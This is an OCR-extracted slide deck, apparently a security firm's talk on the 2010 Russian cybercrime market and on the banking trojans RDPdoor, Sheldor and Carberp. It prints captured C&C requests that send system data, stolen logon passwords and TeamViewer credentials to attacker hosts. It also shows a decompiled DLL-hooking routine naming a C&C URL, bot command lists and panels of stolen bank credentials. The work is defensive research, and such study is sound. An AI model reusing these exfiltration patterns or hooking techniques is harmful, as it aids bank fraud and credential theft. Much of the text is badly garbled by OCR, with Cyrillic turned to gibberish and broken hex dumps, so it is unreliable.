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Group-IB

oFirst and only public company in Russia
engaged in digital crime investigation and
computer forensics consulting

oEstablished in 2003 YT NN ]

_ . |GRoup
o0 Assistance to law enforcement authorities IV

on particularly difficult cases

o0 Partners and researchers in 48 countries
0 Russian HoneyPot-Net project

0 24/7 monitoring and incident response



Cybercrime in 2010

Global computer crime market turnover at
7/ billion dollars

Share of cybercriminals living in Russia

estimated at 1.3 billion dollars ~19% of
global crime

Cybercriminals from Russian speaking

countries: 2.5 billion dollars ~36% of
global crime

*research report "The Russian cybercrime market in 2010: statusandtr end s 0
http://www.group-ib.ru/wp-content/uploads/2011/04/Group-IB_Report_Russian-cybercrime-market_2010_eng.pdf



Most prevalent threats and incidents

1. Fraud targeted at Russian banks and

payment systems

GROUP iBl

2. SMS fraud using premium
numb e winlockerso lLockScreen
trojans)

date and trends O [-] ussial
computer crime market in 2010

3. DDoS attacks 1 Growth in number and
In power

4. Unauthorized access to sensitive
corporate information

*research report "The Russian cybercrime market in 2010: statusandtr e nd s 0
http://www.group-ib.ru/wp-content/uploads/2011/04/Group-IB_Report_Russian-cybercrime-market 2010 eng.pdf



Incident statistics by Group-IB forensic lab

1000 931
700 Share of cybercriminals living in Russia
600 estimated to increase to 0
) 1.8 billion dollars in 2011 o
(vs. 1.3 billion in 2010)
100 12 60 '124' %2

30

unauthorized brand attacks DDoS bank fraud
access

SMS fraud (LockScreens) not shown because the numbers are
disproportionally greater



DDoS attacks: Growth in number and power

attackers DDo0S bank if transaction
exceeds 150 000 $

Dift lji"pe" most powerful attack 100 Gb/sec

.\ (victims: UkrTelecom, Yandex, EvoSwitch
E S
but real target was a dating affiliate program)

CUCTEME 0Tkl Pacchinki AAPECE [MCEMa
Time: 2:10 i
Today:
Online:

/smsnumbers.ru
nsnumbers.ru/sms/1350
/smsnumbers.ru/sms/1017

MapameTpbi:

Flows flood: 100 Coctomme

CpeiHAR LDP noTok

Stop ave Copinkal |
CChinkaz |
CChinkas |
CCeinkad |
Yucno UDP nakeToe [ cex |24 |
Tcp nopt |EID |
Tun [HTTP GET v
MPOWIBONEHEIE MapaMETE
MOAHEIE aronoek

| coxparmte | | 3anycTums |




SMS fraud using premium numbers:
LockScreen malware

Windows 3abnokwposaH

41214165413

Windows zabnoxkmpoBaH

3649

PaEIGNOKMPOBKA Y BEC BCTh

02:59:41

NONEITEE NEPEYCTAHOBMTE CUCTE MY MOMET NPUEECTH K NOTERE AKTHB ALK

BaKHOW MHDOPMALMH W HApYWEHMAM paBoTel KOMNBIOTEPA.

o If your country is affected, please, contact us for information

0 Group-IB developed a case-tutorial for this type of
Investigation



Reasons forthei n c 1 dgrowths (

0 Legal evasions and loopholes

o0 Low cost of services in Russia

o Lack of legal jobs for young IT-
specialists

o0 High profit and minimum investments
from cybercrime

o Low information security vs. high
cybercrime groups activities

o Shift of attack targets back to USSR :)



Cost of services In Russia

V Hacking of a website: from $50

V Guaranteed hack of a mailbox (Yandex, Mail, Rambler, Gmail):
from $45

V Mobile phone bug: from 5000%

SMS service bug: from 1000$

<

V Massive distribution of Trojan and spyware: from 20$ (1000
users)

V Spam services:

* VKONTAKTE 2500 py6

o 400,000 companies - $55

o 1,800,000 private persons - $100

0 90,000 companies in St. Petersburg - $30

o 450,000 private persons in Ukraine - $50 R

0 6,000,000 private persons in Russia - $150 R —
0

4,000,000 emails on @mail.ru - $200




Chapter 28 of the Penal Code

Article 272.
lllegal Access to
Computer Information

Article 273.
Development, Use and
Spreading of Malicious

Software

Article 274.
Violation of Rules for
the Operation of
Computers, Computer
Systems or Their
Networks

Criminal responsibility

Maximum fine of
300 000 RUB
or
Imprisonment for up to
S years.

Imprisonment for up to
7 years

Imprisonment for up to
4 years




Legislative initiatives

The Committee against Cyber-Crime at the
Russian Association of Electronic
Communication (RAEC)

Improvement of Russian legislation in the
field of cyber crimes

Anti-SPAM legislation

Support against online child pornography



Successful criminal prosecutions

0 Group-IB, Economic Crimes Division and Dept K MVD
busted a group of cybercriminals who developed and
spreadt h dockScreeno mal war e

0 10 cybercriminals have been arrested

MOCKOBCKUME OnepaTUBHUKU 3aaepxanu rpynny
XaKepoBs, NMPOMbILWIABLLUNX MHTEPHET-P3KETOM




Successful criminal prosecutions

eo Kuvaev case (BadCow)

SPANVIHAUS

Home SBL XBL PBL DBL DROP

@ THE SPAMHAUS PROJECT

ROKSO

ROKSO Home | ROKSO FAQs & Policies | About Spamhaus | FAQs

Register Of Known Spam Operations

Leo Kuvayev / BadCow

Country: Russian Federation Leo Kuvayev / BadCow ROKSO Records

State: * Main Info

» MEDIA: Spam King Leo Kuvayev Jailed on Child Sex Charges

Partner-In-Spam: Silmara Barreiros Ferraz
* Partner-In-Spam: Vladislav "Vlad™ Khokholkov

» mailien.net / mailien.org

Another partner or aka: Marshal Mariy
Russian/American spammer. Does

"OEM CD" pirated software spam,

badcow.biz / badcow.org

copy-cat pharmaceuticals, porn

domain July 2005 (child porn)
spam, porn payment collection,

etc. Spams using virus-created
botnets and seems to be involved
in virus distribution. Partnered with
Vlad - aka "Mr. Green".

Leo Kuvayev / BadCow SBL
Listings History

» Current SBL Listings

» Archived SBL Listings

* Domains (some of the main ones used for DNS, etc.)

» domains August 2005 (stuffnz.com)

demains June 2005

» domains October 2005 Yesnic (REGISTRAR-HOLD)

domains September 2005 Yesnic (REGISTRAR-HOLD)

domains September 2005 Yesnic (REGISTRAR-HOLD)

Domains [2005/2006] ("OEM" pirate warez)

Domains [2007]

Domains [Jun-2007]

domains: January 2007

fast fluxers 2007-06-30



Successful criminal prosecutions
DDoS case (Cxim)

o Provided DDoS as a service
o0 Arrested for DDoS against Russian banks
0 8 months in jail

b |'1u‘



Successful criminal prosecutions

Russian bank-fraud case

Group #1
0 stole 600 000% in a single transaction

O case In court
o used Win32/Sheldor

/ Group #2
B o stole 832 000$ (over 1 month)
O case in court

0 used phishing sites (hosted on
Gogax)




Interesting facts about Russian bank fraud

A Mass distribution since 2009 ]

A Six cybercrime groups attacking Russian
banks

single bank account: 14 814 820%

AMaximum amount stolen at one time from ]




Interesting facts about Russian bank fraud

These guys are still free!

21.09.2010 1329 $40 307,00(2 9 1413 23.09.2010 20:40 $2134]z20
21092010 1329 $16.69| 222 3 1414/ 23.09.2010 20:40 $40 124,00| 220
21.09.2010 19:41 $40 284,00| Z66. ] 1415/ 23.09.2010 20:40 $12875,00{220
21.002010 1946 $54’25 Z20 5 1416/| 23.09.2010 20:40 $41 206,00|Z19
21092010 19:49 $40 179,00| 233 0 1417| 23.09.2010 20:40 $35 462,00)235
21.09.2010 19:54| $1,00 235 1418 23092010 20:36 $2,001241
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22.092010 16:41 $96,19) 266 1425| 24092010 1.09 $44 531,00| z41
22092010 16:47 $15 493,00) Z66 1426| 24092010 1:09 $19633,00]215
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272 (3 2011 7n4g] 427 Ar EhY = 4 [ L0 100 AN 214 0

524 436 243 86 uSD $26 475 929, 32 UsD

Total 5;;)_439_;1 qu.;.;(,zqg’gf, 1432|T0ta| 51-318?4.-35 5264?5929.32




Analysis of malware
used in the attacks on Russian Internet Banking systems
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Overview

2010: year of attacks on Russian banks
Anumber of incidents has more than doubled compared to 2009*

Over 95%* of Incidents involve banking trojans

Malware tailored to Russian banks and payment
systems

However!
AcCan (and 1S) used in other countries as well

*research report "The Russian cybercrime market in 2010: statusandtr e nd s 0
http://www.group-ib.ru/wp-content/uploads/2011/04/Group-IB_Report_Russian-cybercrime-market_2010_eng.pdf



Malware family share by incidents (%)*

(in the last 6 months)

40

30

20

10

*as investigated by Group-IB



Most prevalent banking malware in Russia

Win32/RDPdoor Backdoor; uses MS Remote Desktop; botnet

Win32/Sheldor Backdoor; abuses the TeamViewer application;
botnet

Win32/Carberp Universal trojan with modules for targeted
attack on Russian banks; botnet

Win32/Hodprot Downloader; installs other malware modules;

strong encryption of its C&C protocol
Win32/Qhost Malware that modifies the hosts file
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Stealing money using MSRemoteDe s kt op é
Win32/RDPdoor overview

Appearance: First samples detected in April 2010
Cost: ~ 2.000$

Key feature: Abuses components of Thinsoft BeTwin for RDP

AMost prevalent banking trojan in Russia

ABypassing advanced security mechanisms (Smartcards,
etc.)



Win32/RDPdoor detection statistics by country
Cloud data from ThreatSense.Net

April 201017 March 2011

ThreatSense.Net’

technology
\ m Russia
m Ukraine

m Kazakhstan

M Belarus
@ B Thailand
@ Bulgaria
I United States
Israel

Moldova

I Rest of the world




Win32/RDPdoor installation

infected

computer

Win32/RDPdoor

C&C

V

‘ Q run dropper and send system information

authentication on C&C and provide Thinsoft BeTwin for installation

e
N

r@

send status information

—dq

V




Win32/RDPdoor installation

POST foueryd . php HTTRPA1.O0
Content-Type: applicationSx-www-form—urlencoded

HDSt:Izn:Dh—went-infDI
Content-Length: 51
Pragma: no-cache

‘q=i&id=EBEEDElT—DEDlDEEEED=2:5:l:ZEDD:S:D:EEE:l:SE:Service Pack Zaw=Z.1l.EZ8au=u=serfITTPS1.1 Z00 OE

Connection: close

Proxy-Commection: close
Content-Lenogth: Z655459

Expires: Mon, 18 Apr 2011 l4:06:32 GMT
Date: Mon, 18 Apr Z011 14:0&6:31 GMT
Content-Type: applicationS/octet-stream
Berver: nginx/0.9.%5

#W—-Powered-By: PHP/E_Z_14
Cache-Control: max-age=1
Content-Disposition: attachment; filename=f130313L559]1_ exe

¥-Cache: MIZ: from enf.localdomain
¥-Cache-Lookup: MIZ: frowm enf.localdomain: 2020

|<wEE=+p00000000d=0) 44 . fexowrad.

rr1. w. oySVE,, »+?0gqal0yan. - KI+4%A5] »+ P 0~dnwSoHD— . vlAw :Wp 7 Inats . D4t HI' LE)EALFELPEESTclIszeEJE
mig JEzqr »Hab, T {*uy) EM7: Pzcwt:n HEHN1= (FZ2 ke
nellgf Je | O0. pAEMHIE . BVu{ . 9Fnad” f=<eN:f{-m | .32 S|@/s

It . oE ﬁ.”R.ﬁUnyv-y”ﬂREW#HfaHDt.EIEHHEtREH_E.EBn333+.{



Win32/RDPdoor installation

POST Jemeryd. php HITPSL.O
Content-Type: application/z-wmmr-form-urlencoded

Host: | zncob-went . info
Content-Length: 121
Pragma: no-cache

|q=a&id=EEEBDElT—DEDlDAEEEFE:5:l:EEEIIII:S:D:EEE:l:SE:Service Pack 3-5v=2.l.28£:=en£l=USEt=5£lip=l-.lEEI-it5=UH£u=user-ITTPfl.l 200 0E

Connection: close

Proxy-Comnection: close

Content-Length: &

Expires: Mon, 18 Apr FZ011 14:45:56 GMT

Date: Mon, 18 Apr E011 14:45:55 GMT
Content-Type: text/html; charset=UTF-&

Serwver: nginx/0.%.6

#-Poyered-By: PHPSE. E. 14

Cache-Control: max-age=1

#-Cache: MISE from enf.localdomain
#-Cache-Lookup: MISS frow enf. localdomain:3030



Stealing authentication data

Log On to Windows

Install GINA extension DLL
Display fake logon screen
Capture user name &

p aS SW O rd Iset name: | user |

4. Send to C&C Fessard | |
Cancel

N =

Copyright €} 1985-2001
Microsoft Corporation

L

ﬁ HELMWSOF TWARE S icrozaft\wWindows MNTSCurrentyersionsyinlogon'GinalbLL
stgina.dil cwaindowshepstemn 32 staina. dll

FUsl /queryd.phg| HITE/1.0
Content-Type: application/x-www-form-urlencoded

Host:| zncob-went . infol
Content-Length: 147
Pragma: no-cache

g=a&id=E86BDZ17-05010A2850=2:5:1:2600:3:0:256:1:32:8ervire Pack 3&\.1:2.l.E8&E=Eﬂ&l=US&t=ﬂ&lip=lﬂ-5&t9=DKdlpﬂ=uﬂer::DRGENIZ?-‘L-HLEEEE&UFHEEIFITP.r'l.1 200 OF




Win32/RDPdoor bot commands

Bot Command

APoO change password for BeTwin terminal
session

N BoO reinstall BeTwinServiceXP module

NSO administration of BeTwin terminal
session

nNRO install BeTwinServiceXP module

nNTO BeTwin backconnection initialization

nUOo update main modules and

configuration



Win32/RDPdoor updating

New dropper

command

DODOODOn :
[OEOEon o:
DODOOD20:
[OEOE03o:
DODOOO40 :
[OEOE0S o :
DODOODED :
[OEOE0A0 :
DODOODED :
[OEOE0To:
DODOODAD :
O0OOOOEBD :
DODOOOCDH :
O0OOOODOn:
DODOODED :
O0OOOOED :
DODOO 0o :
OOOOO110:
DODOOL 20 :
OO0OOE1 30 :
DODOO 40 :
O0OoE1S50:
DODOO0] 60 :
OOEOEL 20 :
DoDOO1 80 :
O0OOE1L 20 :
DODOO1AD:
O0O0O1 Bo:
DOOOOL Co :
O0OOE1 Do :
DooOO01ED:
O0OoO1 Fo:
DODOO2 00 :
O0OoO210:
DODEO220:
O0OOE230:
DODOOZ 40 :

W I

42 . 3E
I3 .
0 . o
0o . o
0 . o
0o . B4
72.6F
20.72
2E.0D
4C .01
EQ. 00
0o.i6
0 . o
0 . o
0o . 04
0m.10
10. @0
A4.12
0 . o
0o . o
0 . o
0o . o
0 . o
0o . o
0 . o
no.10
0 . o
0o . o
0 . o
80.00
0o . g0
0o . [
74.61
0o .64
610 . [0
0o . Co
0 . [0

t h

J0.30
lig . L
40 . @m0
0o . o
0 . @0
21_B8
61.6D
20.6%7
24.00
63.12
0B .01
19.12
0o.10
04 . [0
0 . o
0o . o
0 . o
0o . Co
0 . o
0o . o
0 . o
0o . o
0 . o
0o . o
2E.7
F8 .46
0 . o
Fo.14
0 . o
2E.64
24.16
0o . oo
A4.12
0o . o
2E.72
5C.1F
0 . [0

new

conf i

SWER >+ DODOEH0G 7
A S E

A If]
¥|IR {o0=*71EL='Thi
£ program cannot

be »un in DOS m
ode . FFES P
E L& ciqC

gur at i

C
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Win32/Sheldor



Win32/Sheldor overview

Appearance: First samples detected in June 2010
Cost: ~ 2.500%

Key feature: Abuses the TeamViewer application for remote
access

AUsing the TeamViewer cloud adds another level of
anonymity



Win32/Sheldor detection statistics by country
Cloud data from ThreatSense.Net

April 2010 i March 2011

ThreatSense. Net’

technology

B Russia
m Ukraine
m Kazakhstan

M Moldova

@ M United States
@ [ China

M Belarus
Israel
Georgia

I Rest of the world




Win32/Sheldor and TeamViewer in action

1. Request cloud ID

2. Setcloud ID

3. Send ID to C&C TeamViewer
4. Malicious connection cloud

infected
computer

e Win32/Sheldor
GET cac

/getinfo.php?id=414%20034%20883&pwd
=6655&stat=1




Win32/Sheldor and TeamViewer in action

Request cloud ID
Set cloud ID

Send ID to C&C
Malicious connection

W=

I 85,214,154.223 B 6 Qe l oO3R serverhal keamviewer com 713 svchost exe
9 87.290.74.44 L Qe 4 O30 masterd keamyiewer,com 1109 svchost exe
7 178.160.00.120 ¥ oo Ot l 0030 serverZ3d beamyiewer com G810 svchost ee
L1 195.226.2206 29 @ O 1 it hot C&( 44298 svhost exe
GET

/getinfo.php?id=414%20034%20883&pwd
=6655&stat=1



Under the hood: DLL hooking

bd TeamViewer.exe

TVv.dll
(proxy DLL)

TS.dI H

(original TS.dll)



Malicious DLL call graph

DllEntryPoint

Croatenutorunﬂegkoy Rodirecttxporttall Createlhread

GetHoduleFileNameA §ReqCreatekeyExARegSetUalueExA§RegCloseKey Load0r1ginalDll SpliceProc

LoadLibraryA§GetProcAddressJUirtualProtect




Malicious DLL decompilation

DWORD =_ cdecl RedirectExportCall()
int vl; /7 eax@El

ExpurtHamES.HddPrucESSExc1USiun = "AddProcessExclusion™;

ExportHames .GetChangeRect = "GetChangeRect™;

ExportHames .GetChangedWindowList = “GetChangedWindowlist™;
ExpurtNamES.ISTitlEBarButtunPrESSEd = "IsTitleBarButtonPressed™;
EHPDFtNamES.HEmDUEPFDEESSEHElUSiDH = "RemoveProcessExclusion™;
ExportHames .ZetButtonx0ffset = "SetButtoni0Dffset™;

ExportHames .SetSingleWindow = “SetSingleVWindow™;
ExpurtNamES.ShuwTitleBarButtun = "ShowTitleBarButton™;

ExportHames .3tartHooks = “StartHooks™;

ExportHames .StopHooks = "StopHooks™;

Luadﬂriginalﬂll{"TS.dll", &ExportHames, &ExpAddresses, 18);
dword_18084001 = vd;

AddProcessExclusionProc = ExpnddrESSES.HddPrucESSExc1USiunnddr;
GetChangeRectProc = ExpAddresses._GetChangeRectAddr;
GetChangedWindowListProc = ExpAddresses._GetChangedWindowlistAddr;
IsTitleBarButtonPressedProc = ExpnddrESSES.I5TitlEBarButtunPrESSEdnddr;
RemoveProcessExclusionProc = ExpnddrESSES.HEmuuePrucESSExc1USiunnddr;
SetButtoni0ffsetProc = ExpAddresses.SetButtoniDffsetaddr;
SetSingleWindowProc = ExpAddresses._SetSingleWindowAddr;
ShowTitleBarButtonProc = ExpnddrESSES.ShuwTitleBarButtunnddr;
StartHooksProc = ExpRAddresses . StartHooksAddr;

StopHooksProc = ExpAddresses . itopHooksAddr;
SpliceProc(WinVerifyTrust, #unk_18884238, NewWinVerifyTrust, 1);
SplicEPruc{Ereatenirecturyw, &unk_1888423D, Hewﬂreatenirecturyw, 1)
SpliceProc(FindWindowt, &unk_10884242, HewFindWindowd, 1);
SpliceProc(ShowWindow, #unk_18884247, HewShowWindow, 1);
SplicEPruc{EreateﬂialugParamH, Gunk_18088424C, NewﬂreatenialugParamw, 1)
SpliceProc(SetWindowTextW, #unk_18884251, HewSetWindowTextW, 1);
AdminPanell[ 8] = "goeiuyi._net";

AdminPanel[1] L"aaaa" ;

AdminPanel[2] tagove[1];

AdminPanel[3] = L™";

AdminPanel[4] tagove[3];

return &AdminPanel[5];

Functions for calling
from original TS.dll

Load original TS.dlI

Hook functions

C&C URL



Win32/Sheldor bot commands

Bot Command

exec download and ShellExecute/CreateThread
additional module

monitor_off send c¢ommamalnifitsaroipngo t o C.
monitor_on send c¢commamanifitsdarairmrgo t o C
power_off ExitWindowsEx(EWX POWEROFF,

SHTDN_REASON_MAJOR_OPERATINGSYSTEM)
shutdown ExitWindowsEx(EWX_REBOOT,

SHTDN_REASON_MAJOR_OPERATINGSYSTEM)
killbot delete all files, directories and registry keys



Sheldor C&C panel

Crpana v
Mo BozpacTaHuo
Coptupogars!

« | ibank | /| pcibank | /| BSS | /| PSB | / | SBER | /

D bor ID/Tlapoms Toxen Konmventapiii

S BN I

ID/Tapoms 3
P 19

Toxen 0

A A
Konmarya Peaymstar mocenweit: Fail

Hanucats

|| KonmenTapimi

OTnpaents B




Successful criminal prosecutions
Russian bank-fraud case

Group #1
0 stole 600 000% in a single transaction

O case In court
o used Win32/Sheldor

/ Group #2
B o stole 832 000$ (over 1 month)
O case in court

0 used phishing sites (hosted on
Gogax)
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Win32/Carberp overview

Appearance: First samples detected in February 2010
Cost: ~ 9.000%

Key feature: Advanced information stealing trojan with
plug-ins

ACustomizable to specific banks
AMan-in-the-browser attacks (IE, FireFox)
AGrand Theft: Real cases with millions of $$$ stolen



Win32/Carberp detection statistics by country
Cloud data from ThreatSense.Net

April 2010 i March 2011

Yo

® Russia -

m Ukraine ThreatSense.Net’
= Spain technology
® United States

W Turkey

I Kazakhstan

M Italy

B Mexico
Thailand

B Netherlands

B Argentina
Belarus
Greece
United Kingdom

Rest of the world



C&C panel: Bots by country

SIAINCINKANIONBSOBAIENAt |

| Mo-npedmkcam | | Mo-cTpanam | | Mo-cuctemam | | Mo-awmmeupycam |
|| [ Nomoewosame | Borosscero | Borooomnain | _boros onai | wawesa 2.
=AM Armenia 3 0 3 0
[% AT Austria 1 0 1 0
= BY Belarus 2 0 2 0
[ caA Canada 1 0 1 0
= cz Czech Republic 1 0 1 0
[ DE Germany 3 0 3 0
[ ES Spain 2 0 2 0
B o Israel 2 0 2 0
BT Italy 3 0 3 0
[ KR South Korea 2 0 2 0
= Kz Kazakhstan 1 0 1 0
[ PL Poland 1 0 1 0
@l RU  Russian Federation 6775 0 6775 0
5 uA Ukraine 4 0 4 0
% US United States 17 0 17 0



WIin32/Carberp detections over time in Russia
Cloud data from ThreatSense.Net

April 201017 March 2011

ThreatSense.Net’

technology



Win32/Carberp bot commands

update Download new version of Carberp
dexec/download Download and execute PE-file
kill _bot/killuser A Delete trojan from the system

A Delete user's Windows account (latest version)

startsb/loaddl| Download DLL and load into trojan's memory
address space

grabber Grab HTML form data and send to C&C



Win32/Carberp self-protection

Self-protect method | Win32/Carberp.W |Win32/Carberp.X

Bypassing AV-emulators many calls of GUI WinAPI many calls of GUI
functions WInAPI functions

Code injection method ZwWResumeThread() ZwQueueApcThread()

Command and string W custom encryption

encryption algorithm

Bot authentication on C&C file with authentication

W data stored on infected
2C

API function encryption custom encryption custom encryption
algorithm algorithm

Detection of AV hooks comparison of the first comparison of the first
original bytes original bytes

Bypassing static AV adds random junk bytes to adds random junk bytes

sighatures dropped files to dropped files

Hiding in the system hook system functions hook system functions



Win32/Carberp distribution channels

Direct distribution Distribution via partners

control affiliate ID n_p_artnerkao
panel (affiliate program)

exploit pack
A BlackHat SEO
A Infected Blogs

IMPRCT
A etc




Win32/Carberp botnet control panel

Bt agropusoeant kax: (D
Carberp s
AxkayHT cozfiaH: (R
(1 5 min
[ naBHas ;
Mouck bota:  oup| | o Hekars Q
Cratucruka
Mpedukcy Cnucok 00TOB: npedhmeca: Bee v Mokasars
botbl -1000]-100]-10-1]*1*|+1]+10] +100] +1000
3afanna last date i IPaddress info sb emd kil del
Kowdmrn becad1f54f0ed9004d9b77847344be09 | 28.01.11[15:20:26] | 28.01.11[15:20:26) 0a. 04, Ow. 109.236.217.152 thiﬂ@
St 856eea09156a744710B073050523%6 | 28.01.11[15:09:41] | 28.01.11[15:09:41] 0g. 04, Ow. 7921631193 OIE!Elﬂ@J
728af24Ta4T2136T8CI64185570Te931 | 28.01.11 [14:45:55] | 28.01.11 [14:48:35) 0g. 0. Ow. 81132410 Q‘g!i‘g )
FTP chudbdep | '
ca9279773dbdM837eT0eT500b320c4 | 28.01.11[14:41:42] | 28.01.11 [14:41:16] 0g. 04, Ow. 85.26.234.140 O]Gﬁlﬂ@
[patbep naponei ab71c9faT20(72541804493674b70835 | 28.01.11[13.08:10] | 28.01.41[15:03:44] 0g, 14, SEM, 852623436 Opii‘g{@n
Russia mm 0060214862 74e4d6000454e 12540508 | 28.0111[11:4627] | 28.01.41 [12:3:21] 0g. 0u. 26M. 85.26.187.15 O‘G:E’ﬂ@
Buixon 33004a73525000501e5eB07803eB41 | 28.01.11[11:3357] | 28.01.11[12:29:35] 0g. 04. 55w, 95.28.36.147 O}SEE\E (]
70b1c8dcb01821a023dbbSedSbdcdsT8 | 28.01.11[11:21:47) | 28.01.11[15:48:21) 0g, 4. 26m. 195.211.247.148 Ol’sﬂﬂ (]




Win32/Carberp control panel i Bank settings

{-hsbc.co.uk-}  {-abnamro.nl-}  {-rabobank.nl-}  {-ing.nl-}  {-bankleumi.co.il-}
{-snoris.lt-}  {-ib.swedbank.It-}
id Name Acc number Subject Min money Max money %load fj Losded LC  Transfer type
29 1000 100000 95 1 0
30 1000 100000 95 1 0
3N 1000 100000 95 1 0
32 1000 100000 95 1 0
33 1000 100000 95 1 0
34 1000 100000 95 1 0
35 1000 100000 95 1 0
36 1000 100000 95 1 0
37 1000 100000 95 1 0
38 1000 100000 95 1 0
39 1000 100000 95 1 0
{-hsbc.co.uk-}  {-abnamro.nl-}  {-rabobank.nl-}  {-ing.nl-}  {-bankleumi.co.il-}
{-snoris.It-}  {-ib.swedbank.It-}
id bw Bot_id Login Pass Pin Balance TAN Comment
141 EE 123 login pass pin 100.00
16 FF 123 login pass pin 100.00 test
17 |ES 349541727¢ 6010942215 26319
18 |ES 349541727¢ 6010942215 26319
19 |ES 349541727¢ 6010942215 26319
20 |E8 349541727¢ 1807803003 48450

{-berliner-sparkasse.de-}

~Autoloads >.\'ewDroE >Drop:s

Active

Bank
snoris.It

snoris.It
snoris.lt
snoris.lt
snoris.It
snoris.It
snoris.it
snoris.It
snoris.It
snoris.It

snoris.It

Comment

[0 [0 2|00 0] 0| o [
< [ < [ [ < < < [ = [ = < |8

{-berliner-sparkasse.de-}

R

S R X
s IRl x
H B
H B
B [
s IR x
H B

Datetime

07-09-10 [23:58:54]

08-09-10 [00:10:12]
13-09-10 [15:54:17]

13-09-10 [16:05:05]

13-09-10 [16:09:12]
13-09-10 [16:20:00]

IP
109.91.114.10

109.91.114.10
141.5.32.123
141.5.32.123
141.5.32.123
141.5.32.123



e

2011-02-06__04_
54_03__JCCO974E
09C25B5C293A39
445B60BAT20.c...

-

2011-02-01__07_

31.55__D09B043
7802F788DE8SDE
C77B4C631B00....

e

2011-02-01__06_
58_28_ 3C07D20
F8C120E01CADC
8EVEEC36109D....

B

2011-02-01__06_
45_02___DBEFABY9
8B3A95FBEB6BC
3FDB4A05350F4...

E

2011-02-06__03_
16_17__ 7CCO974E
09C25B5C293A39
445B60BAT20.c...

S

2011-02-01__07_
28_00__EB7D502
89008AF45950D9
62406B64FD2.c...

S

2011-02-01__06_
57_37__3C0YD20
F8C120E01CADC
8EVEEC26109D....

-

2011-02-01__06_
42_43_ 2203400
D84ESF4A4BESB

D85DCC69613E....

I? 181 items se|ectea|

Show more details...

g

2011-02-01__07_
55_16__ 7915159
3221841D5A9B3
1515CD98B47E....

e

2011-02-01__07_
23.44_ EB7D502
89908AF45950D9
62406B64FD2.c...

B

2011-02-01__06_
54_16_ 7FFC19B
8B45B1541FAl62
C860FABBAAC.C..

B

2011-02-01__06_
4112 CO7BAS0
64A922263C98C1
EF2C7EBADC/ c...

B

2011-02-01__07_
54_19_ 63DDBC
92E691A35E2A3F
CF1BATD59FA4D....

B

2011-02-01__07_
1921 EB7D502
89908AF45950D9
62406B64FD2.c...

B

2011-02-01__06_
53_16__D89214F
4B7E528B83D4BF
954FC2D61EF.cab

B

2011-02-01__06_
35_14_ D5580C3
3358F780E2DD27
BD54B002FD2.c...

e

2011-02-01__07_
53.31__ 42AC2EE
3EQ7B84E1DF202
9F007BCC1ATY c...

B

2011-02-01__07_
14.59__ _EB7D502
89908AF45950D9
62406B64FD2.c...

e

2011-02-01__06_
52_02__ 444C2B4
BF9524E4284206
52D68909C3C9.c...

B

2011-02-01__06_
32_36___CO7BAS0
64A922263C98C1
EF2CTEBADC/ c...

Cab-files with stolen data

e

2011-02-01__07_
49 59 DB89214F
4B7E528B83D4BF
954FC2D61EF.cab

-

2011-02-01__07_
12_09__COASF1C
FBCB7C9020D84
EEDE34850934....

e

2011-02-01__06_
51.02__ DB89214F
4B7E528B83D4BF
954FC2D61EF.cab

B

2011-02-01__06_
32.19_ 7915159
3221841D5A9B3

1515CD98B47E....

CHler




Stolen data: BS-Client IB system

Information.txt
E@ sCreen.peg

7JEES7CB8000000002441.PEM
rand.opq

kek.opqg

masks.db3

mk.db3

rand.old

mk.old

masks.old

kek.old
7EES7CB8000000002441.0ld

® Bxop B cucTemy
Brifiop opraHnaaLm

Brifiop noapasgenexnd batka

000 «BaHk CodT CUcTEMES
Bee npaga 3aWmweHs!

s (O cucreme » Kak cTaTh KnueHTom BaHka? . THIMH ¢ Be30nacHocTe @

z BHiMaHie, nger 06padoTka 3anpoca

Ho6po noxanoeats B cuctemy ABO BS-Client v 31

BeeguTe Balw NOMH 1 Napans:;

Noru | 64 \

Maponk ! seneoes ‘

TexHH4eCKas nopaepkKa:
TenedoH: (3452) 799-205, 798-317

e-mail: fullrulez@snb.n



Stolen data: CyberPlat payment system

Information.txt

ﬂ secretkey

KabuHeT gunep

MonesaHble CCbINKK

> OuunansHoe
npegynpexgexne
NNAaTEXHON CUCTEME

- o e R

Jakpembit knoy: oper1 445513

!:lnpaBneHue KAYamMu |

Konogaa ¢paza:

I RAXXRRRXRRRARRRRAK

MoaTeepaute DTMeHuTe

«KuGepnnats

> TpOTUBOAENCTENE
Kpaxam Kniyen

> [porpammHbIi
KOMNNEK: « TepMnHan
CamooBCnyKMBaHNAa n

=TT T

[ocTyn BO3MOKEH ANA 33PernCTPUPCE3HHBIX B CUCTEME
KnBepnnar® onepaTopoe W OCyWeCTBNALTCA NO 3NEKTPOHHBIM
KNioyam.

3a nogpoGHon MHpopmaunen o0pawanTeck K Kypupyowemy
MEHEIXEPY UMK NO CChINKam:

Tex. nogaepka

8(800) 100-100-8
* 3BOHOK 13 PETHOHOB
Poccun 6ecnnaTHbli

8 (495) 981-80-80
8 (495) 967-02-20

E-mail |
support@cyberplat.com

PP - ¥




Stolen

........ H

Information.txt
o .
w|screenjpeg

Obcnyxusal

3arpyzka Jz
PburHaHcoss!
MHTepHeT.

rocne 2arpyzxu v MHMLMan
oKHe HeoOxoauMMo YKazaTs
paboTel KN4 U BBECTH Nap

Mpu pafoTe Yepes NpoxcK-

2 1995-2007 Bifit (bifit.com

B Bxoa & cucTeny =10 x|
- D
® :
1 B k ¢
internet-banking 2

\ J
TN XpaHUAMILA:  Knioy Ha Aucke =
MyTs: | Filkeys.dat [0630p... |
Knioy: Kniou_Byxrantep Ll
Mapons: e

fzblic pyCCKMi L

Moo | | —

© CnMcoK cnyk6: MoAKNIoYEHKE K BAHKOBCKOMY CEpBEpY

[ BoMTH ] [ Morowps ]

data: IBank IB system

[ iBank2.ru |

MHTEPHET-0aHKUHI

haboTa KIMeHTa ¢
OT CKOPOCTW 4OCTYMa B

CMcTeMy. B MosBMELLUEMCS
HeoOxoaumelt ang

[P-NOpT NpoKCK-cepsepa.




Stolen data: SberBank IB

.........

LR

........ H

B 06wecieo ¢ orpannyenHoi oTBeTCTBEHHOCTbI0 "CTanaapT-Arpe’ ("KanenT-Coepbauk” sepeua 07.012.05, CT... J:l@l[zl
! ®aitn TMpaska Bua Cepsuc [Aeficteua  Cnpaska

Cospats B | @ nevars | B B B 6 Moammcats | ™ 3anpooirs aatHbie.. B OrnpasuTs/nonyuTe 2
. 3] 2

Information.txt
EEE screen.peg

Bxop B cuctemy

KnueHnt-Chbepbank

1MsA nonb3oBaTens | AQMUHUCTpETOP v

Maponb LR S N ) |

nat]5r | [ BoitTi ” 3aKpeiTh J




Stolen data; UkrSibBank IB




